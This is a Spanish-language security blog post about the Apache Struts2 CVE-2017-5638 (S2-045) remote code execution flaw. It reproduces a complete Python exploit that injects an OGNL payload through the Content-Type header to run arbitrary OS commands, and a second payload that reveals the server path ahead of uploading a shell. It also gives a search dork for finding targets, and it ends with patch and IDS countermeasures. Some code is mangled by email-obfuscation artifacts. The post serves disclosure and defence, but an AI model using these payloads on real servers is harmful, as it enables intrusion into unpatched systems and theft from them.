En la madrugada del día de hoy uno de los feeds chinos reportó un PoC/exploit para la vulnerabilidad CVE-2017-5638 que permite RCE (ejecución remota de comandos) en las últimas versiones de Apache Struts

El script que mostramos a continuación, liberado por Nike Zheng (célebre y habitual hostigador de Struts), primero en páginas como Freebuf o Bobao, se aprovecha de un fallo en la función de upload del parser de Jakarta y muestra cómo modificar la cabecera Content-Header para inyectar comandos de sistema operativo cuando se llama a un action:

#!/usr/bin/python
# -*- coding: utf-8 -*-
 
import urllib2
import requests
import httplib

from requests.packages.urllib3.exceptions import InsecureRequestWarning
 
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

#uso: python script.py  ""
 
def exploit(url, cmd):
    payload = "Content-Type:%{(#_='multipart/form-data')."
    payload += "(#[email protected]@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@[email protected]))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@[email protected]('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@[email protected]().getOutputStream()))."
    payload += "(@[email protected](#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"
 
    try:

        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        #request = urllib2.Request(url, headers=headers)
        request = requests.get(url, headers=headers,verify=False)
        #page = urllib2.urlopen(request).read()

    except httplib.IncompleteRead, e:

        request = e.partial

    print(request.text)

    return request

if __name__ == '__main__':

    import sys
    if len(sys.argv) != 3:
        print("[*] struts2_S2-045.py  ")

    else:

        print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
        url = sys.argv[1]
        cmd = sys.argv[2]
        print("[*] cmd: %sn" % cmd)

        exploit(url, cmd)


   Si lo ejecutas contra una aplicación vulnerable el resultado será la ejecución remota de comandos con el usuario que ejecuta el servidor. Así de sencillo:

apache struts command


   Cualquier búsqueda en Google con un dork ‘filetype:action’ arroja unos 35 millones de resultados, de los cuales un alto porcentaje es vulnerable… el volumen y la criticidad de los servicios afectados es simplemente … dramático.

   Hemos dedicado horas a reportar a empresas, gobiernos, fabricantes e incluso particulares para que parchearan y corrigieran lo antes posible la vulnerabilidad, pero el exploit ya ha saltado a las grandes páginas de ‘advisories’ y ya se han observado intentos de explotación masivos en Internet, incluso bastante sofisticados con el objetivo de conseguir persistencia o modificaciones como las que nos trae Sebastian Cornejo (curiositysec) que permite obtener el path de la aplicación, paso previo a la subida de una shell al servidor:

def getpath(url):

payload = "Content-Type:%{(#_='multipart/form-data')."
payload += "(#[email protected]@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?"
payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@[email protected]))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(#path=(@[email protected]().getRealPath("/")))."
payload += "(#ros=(@[email protected]().getOutputStream()))."
payload += "(@[email protected](#path,#ros))."
payload += "(#ros.flush())}"

try:

headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
#request = urllib2.Request(url, headers=headers)
request = requests.get(url, headers=headers,verify=False)
#page = urllib2.urlopen(request).read()
except httplib.IncompleteRead, e:
request = e.partial
 
print("Path App: "+ request.text)


Cómo ves la criticidad es máxima y la noticia corre como la pólvora y URGE TOMAR CONTRAMEDIDAS LO ANTES POSIBLE:

– actualizar a Apache Struts (2.3.32 / 2.5.10.1 o posteriores)
– actualizar firmas del IDS/IPS. Por ej. Snort ya incluye reglas en server-apache.rules: SERVER-APACHE Apache Struts remote code execution attempt (SIDs: 41818, 41819)

Fuente:

Hackplayers